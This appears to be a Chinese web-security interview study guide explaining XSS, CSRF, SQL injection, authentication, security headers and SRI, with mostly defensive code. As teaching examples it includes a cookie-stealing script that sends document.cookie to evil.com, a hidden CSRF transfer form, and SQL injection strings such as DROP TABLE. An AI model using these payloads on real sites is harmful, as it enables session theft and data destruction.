Skip to content

Web 安全面试指南

核心概念

前端安全是保护用户数据和系统安全的重要环节,面试中经常考察对常见安全漏洞和防护措施的理解。


XSS 攻击

Q1:什么是 XSS 攻击?如何防范?

XSS(Cross-Site Scripting):跨站脚本攻击,攻击者在网页中注入恶意脚本代码。

攻击类型

类型原理危害
存储型恶意代码存储在服务器持久化危害
反射型恶意代码在 URL 参数中非持久化
DOM 型恶意代码通过 DOM 操作注入客户端执行

示例

html
<!-- 存储型 XSS:评论区注入 -->
<script>
    fetch("https://evil.com/steal?cookie=" + document.cookie);
</script>

<!-- 反射型 XSS:URL 参数 -->
https://example.com/search?q=
<script>
    alert(1);
</script>

<!-- DOM 型 XSS -->
<script>
    document.write("<img src=" + userInput + ">");
</script>

防范措施

javascript
// 1. 输入过滤
function filterInput(input) {
    return input
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#x27;');
}

// 2. 输出编码
function encodeOutput(str) {
    return str
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#x27;');
}

// 3. CSP(Content Security Policy)
<meta http-equiv="Content-Security-Policy"
      content="default-src 'self'; script-src 'self' 'nonce-random'; style-src 'self' 'unsafe-inline'">

// 4. HttpOnly Cookie
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict

// 5. React/Vue 自动转义
// React
return <div>{userInput}</div>;  // 自动转义

// Vue
<template>
    <div>{{ userInput }}</div>  <!-- 自动转义 -->
</template>

Q2:XSS 和 CSRF 的区别?

特性XSSCSRF
攻击位置客户端服务端
原理注入恶意脚本伪造用户请求
目的盗取数据/权限执行非用户意愿的操作
防护输入输出过滤Token 验证

CSRF 攻击

Q3:什么是 CSRF?如何防范?

CSRF(Cross-Site Request Forgery):跨站请求伪造,诱导用户在其他网站向目标网站发送恶意请求。

攻击原理

用户已登录 bank.com

访问 evil.com

evil.com 中隐藏表单:
<form action="bank.com/transfer" method="POST">
    <input name="to" value="hacker">
    <input name="amount" value="10000">
</form>
自动提交 → bank.com/transfer?to=hacker&amount=10000

浏览器自动携带 Cookie

请求成功,钱被转走

防范措施

javascript
// 1. CSRF Token
// 服务器生成随机 Token,验证请求来源
const csrfToken = generateToken();
session.csrfToken = csrfToken;

// 前端请求时携带
fetch('/api/action', {
    method: 'POST',
    headers: {
        'X-CSRF-Token': csrfToken
    },
    body: JSON.stringify(data)
});

// 2. SameSite Cookie
Set-Cookie: sessionId=abc123; SameSite=Strict
Set-Cookie: sessionId=abc123; SameSite=Lax  // 允许导航带来的 Cookie

// 3. 验证请求来源
function validateOrigin(req) {
    const origin = req.headers.origin;
    const referer = req.headers.referer;
    return origin === 'https://yourdomain.com' ||
           referer?.startsWith('https://yourdomain.com');
}

// 4. 双重提交
// Cookie 中的 Token 与表单中的 Token 比对

SQL 注入

Q4:什么是 SQL 注入?如何防范?

SQL 注入:通过用户输入拼接 SQL 语句,执行恶意 SQL 命令。

示例

sql
-- 用户输入: 1 OR 1=1
SELECT * FROM users WHERE id = 1 OR 1=1

-- 用户输入: 1; DROP TABLE users;
SELECT * FROM users WHERE id = 1; DROP TABLE users;

-- 用户输入: ' OR '1'='1
SELECT * FROM users WHERE name = '' OR '1'='1' AND password = ''

防范措施

javascript
// 1. 参数化查询(最佳方案)
const query = "SELECT * FROM users WHERE id = ?";
db.execute(query, [userId]);

// 2. 使用 ORM
// Sequelize
const user = await User.findOne({ where: { id: userId } });

// Prisma
const user = await prisma.user.findUnique({ where: { id: userId } });

// 3. 输入验证
function validateInput(input) {
    const schema = Joi.object({
        id: Joi.number().integer().min(1).required(),
        name: Joi.string()
            .max(100)
            .pattern(/^[a-zA-Z0-9]+$/),
    });
    return schema.validate(input);
}

// 4. 权限控制
// 应用程序使用最小权限账户

身份认证安全

Q5:如何安全地实现登录认证?

1. 密码存储

javascript
// 错误:明文存储
// NEVER do this!
users.password = password;

// 正确:使用 bcrypt 哈希
const bcrypt = require("bcrypt");
const saltRounds = 12;

async function hashPassword(password) {
    return await bcrypt.hash(password, saltRounds);
}

async function verifyPassword(password, hash) {
    return await bcrypt.compare(password, hash);
}

// 注册
async function register(username, password) {
    const hash = await hashPassword(password);
    await db.query("INSERT INTO users VALUES (?, ?)", [username, hash]);
}

// 登录
async function login(username, password) {
    const [users] = await db.query("SELECT * FROM users WHERE username = ?", [username]);
    const user = users[0];
    if (user && (await verifyPassword(password, user.password))) {
        return generateSession(user);
    }
    throw new Error("Invalid credentials");
}

2. Session 管理

javascript
// 1. 安全 Cookie 设置
Set-Cookie: sessionId=xxx; HttpOnly; Secure; SameSite=Strict; Path=/

// 2. Session 过期
const sessionTTL = 24 * 60 * 60 * 1000; // 24小时
// 定期检查 session 有效性

// 3. Session 固定防护
// 登录成功后重新生成 session ID
function loginSuccess(user) {
    regenerateSessionId();  // 重要!
    setSession(user);
}

3. JWT 安全使用

javascript
// 1. 短期访问令牌
const accessToken = jwt.sign({ userId: user.id }, ACCESS_SECRET, { expiresIn: "15m" });

// 2. 长期刷新令牌
const refreshToken = jwt.sign({ userId: user.id, type: "refresh" }, REFRESH_SECRET, { expiresIn: "7d" });

// 3. 验证时检查
function verifyToken(token, secret) {
    try {
        const decoded = jwt.verify(token, secret);
        return { valid: true, data: decoded };
    } catch (err) {
        return { valid: false, error: err.message };
    }
}

// 4. 黑名单机制
const blacklist = new Set();
function revokeToken(token) {
    const decoded = jwt.decode(token);
    const exp = decoded.exp * 1000;
    const ttl = exp - Date.now();
    blacklist.add(token);
    setTimeout(() => blacklist.delete(token), ttl);
}

Q6:什么是 Token 认证 vs Session 认证?

特性Token (JWT)Session
存储位置客户端服务端
扩展性跨域容易跨域需共享
性能无服务端查询需要查询 Session
安全性难以失效可即时失效
体积较大较小

选择建议

  • 移动端/多平台 → Token
  • 服务端渲染/单域应用 → Session

数据安全

Q7:如何保护敏感数据?

1. 传输加密

javascript
// HTTPS 强制使用
// Nginx 配置
server {
    listen 443 ssl http2;
    ssl_certificate /path/to/cert.pem;
    ssl_certificate_key /path/to/key.pem;
    ssl_protocols TLSv1.2 TLSv1.3;
}

// 前端强制 HTTPS
if (location.protocol !== 'https:') {
    location.href = 'https:' + window.location.href.substring(window.location.protocol.length);
}

2. 前端敏感数据处理

javascript
// 1. 敏感数据不存储在前端
// 错误
localStorage.setItem("token", token);
localStorage.setItem("password", password);

// 正确:使用 HttpOnly Cookie
// 敏感数据只存内存
const token = sessionStorage.getItem("token");

// 2. 请求时去除敏感数据日志
function sanitizeForLog(obj) {
    const sensitive = ["password", "token", "creditCard"];
    return Object.fromEntries(Object.entries(obj).filter(([key]) => !sensitive.includes(key)));
}

// 3. 重要操作二次验证
async function sensitiveOperation(action) {
    const code = await promptVerificationCode();
    const verified = await verifyCode(code);
    if (verified) {
        return executeAction(action);
    }
    throw new Error("Verification failed");
}

3. 加密存储

javascript
// 使用 crypto-js 客户端加密(注意:这只是混淆,真正的加密在服务端)
const CryptoJS = require("crypto-js");

function encrypt(data, secret) {
    return CryptoJS.AES.encrypt(JSON.stringify(data), secret).toString();
}

function decrypt(encrypted, secret) {
    const bytes = CryptoJS.AES.decrypt(encrypted, secret);
    return JSON.parse(bytes.toString(CryptoJS.enc.Utf8));
}

常见安全头

Q8:常用的安全响应头有哪些?

响应头作用示例值
Content-Security-Policy内容安全策略default-src 'self'
X-Content-Type-Options防止 MIME 嗅探nosniff
X-Frame-Options防止点击劫持DENY
X-XSS-ProtectionXSS 过滤器(已废弃)1; mode=block
Strict-Transport-Security强制 HTTPSmax-age=31536000
Referrer-Policy引用来源策略strict-origin-when-cross-origin
Permissions-Policy功能策略camera=(), microphone=()

配置示例(Express)

javascript
const helmet = require("helmet");

// 使用 helmet 中间件
app.use(helmet());

// 自定义配置
app.use(
    helmet.contentSecurityPolicy({
        directives: {
            defaultSrc: ["'self'"],
            scriptSrc: ["'self'", "'nonce-random'"],
            styleSrc: ["'self'", "'unsafe-inline'"],
            imgSrc: ["'self'", "data:", "https:"],
            connectSrc: ["'self'", "https://api.example.com"],
            fontSrc: ["'self'", "https://fonts.gstatic.com"],
            objectSrc: ["'none'"],
            mediaSrc: ["'self'"],
            frameSrc: ["'none'"],
        },
    }),
);

app.use(
    helmet.hsts({
        maxAge: 31536000,
        includeSubDomains: true,
        preload: true,
    }),
);

app.use(helmet.frameguard({ action: "deny" }));

Nginx 配置

nginx
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-random'" always;

前端安全最佳实践

Q9:前端安全开发 checklist?

输入安全

javascript
// 1. 永远不要相信用户输入
function validateInput(input, schema) {
    return schema.validate(input);
}

// 2. 白名单验证
const ALLOWED_CHARS = /^[a-zA-Z0-9_]+$/;
if (!ALLOWED_CHARS.test(input)) {
    throw new Error("Invalid input");
}

// 3. 长度限制
if (input.length > MAX_LENGTH) {
    throw new Error("Input too long");
}

输出安全

javascript
// 1. HTML 编码
function escapeHtml(unsafe) {
    return unsafe
        .replace(/&/g, "&amp;")
        .replace(/</g, "&lt;")
        .replace(/>/g, "&gt;")
        .replace(/"/g, "&quot;")
        .replace(/'/g, "&#x27;");
}

// 2. URL 编码
function encodeUrlComponent(str) {
    return encodeURIComponent(str)
        .replace(/!/g, "%21")
        .replace(/'/g, "%27")
        .replace(/\(/g, "%28")
        .replace(/\)/g, "%29");
}

// 3. JavaScript 编码
function encodeForJs(str) {
    return str.replace(/\\/g, "\\\\").replace(/'/g, "\\'").replace(/"/g, '\\"');
}

依赖安全

bash
# 定期检查漏洞
npm audit
npm audit fix

# 使用 lock 文件锁定版本
npm ci  # 而不是 npm install

# 检查包签名
npm pack --dry-run

代码审查要点

□ 所有用户输入都经过验证
□ 所有输出都经过编码
□ 敏感数据不存储在 localStorage
□ 使用 HTTPS
□ Cookie 设置 HttpOnly 和 Secure
□ 实现 CSRF 防护
□ 实现 Rate Limiting
□ 实现完善的日志记录
□ 第三方脚本使用 SRI

Q10:什么是 SRI?如何使用?

SRI(Subresource Integrity):子资源完整性,验证 CDN 资源的完整性。

html
<!-- 基础使用 -->
<script
    src="https://cdn.example.com/library.js"
    integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
    crossorigin="anonymous"
></script>

<!-- 生成 SRI 哈希 -->
<!-- 使用 openssl -->
openssl dgst -sha384 -binary < file.js | openssl base64 -A

SRI 流程

浏览器请求资源

获取 integrity 属性值(哈希)

计算下载文件的哈希

比对 integrity 与计算的哈希

匹配 → 执行资源
不匹配 → 阻止执行

生成工具

bash
# 在线生成
# https://www.srihash.org/

# CLI 工具
npm install -g sri-hash
sri-hash https://cdn.example.com/library.js

面试综合问题

Q11:如何应对常见的前端攻击?

攻击应对矩阵

攻击类型防护措施优先级
XSSCSP + 输入输出编码P0
CSRFToken + SameSite CookieP0
SQL 注入参数化查询P0
点击劫持X-Frame-OptionsP1
中间人攻击HTTPSP0
密码攻击强哈希 + 限流P0

安全监控

javascript
// 1. CSP 报告
// Content-Security-Policy-Report-Only 模式
<meta http-equiv="Content-Security-Policy-Report-Only"
      content="default-src 'self'; report-uri /csp-report">

// 2. 前端异常监控
window.addEventListener('error', (e) => {
    // 过滤正常错误
    if (isSecurityRelated(e)) {
        reportSecurityEvent(e);
    }
});

// 3. 请求签名
function signRequest(data, secret) {
    const timestamp = Date.now();
    const signature = CryptoJS.HmacSHA256(
        JSON.stringify(data) + timestamp,
        secret
    );
    return { ...data, timestamp, signature };
}

Q12:密码加密的常见面试问题?

Q: 为什么 MD5/SHA1 不适合密码存储?

A: 这些是快速哈希算法,容易被暴力破解和彩虹表攻击。应该使用专门为密码设计的慢速算法。

Q: bcrypt、scrypt、Argon2 的区别?

A:

算法特点建议
bcrypt可配置 cost 参数,兼容性好广泛使用
scrypt内存硬,防护 ASIC高安全场景
Argon22015 年 Password Hashing Competition 冠军新项目首选

Q: 为什么要加盐(salt)?

A: 防止彩虹表攻击,确保相同密码产生不同哈希。

javascript
// 不加盐:相同密码产生相同哈希
hash('password123') = 'abc123'
hash('password123') = 'abc123'

// 加盐后
hash('password123' + 'randomSalt1') = 'xyz789'
hash('password123' + 'randomSalt2') = 'def456'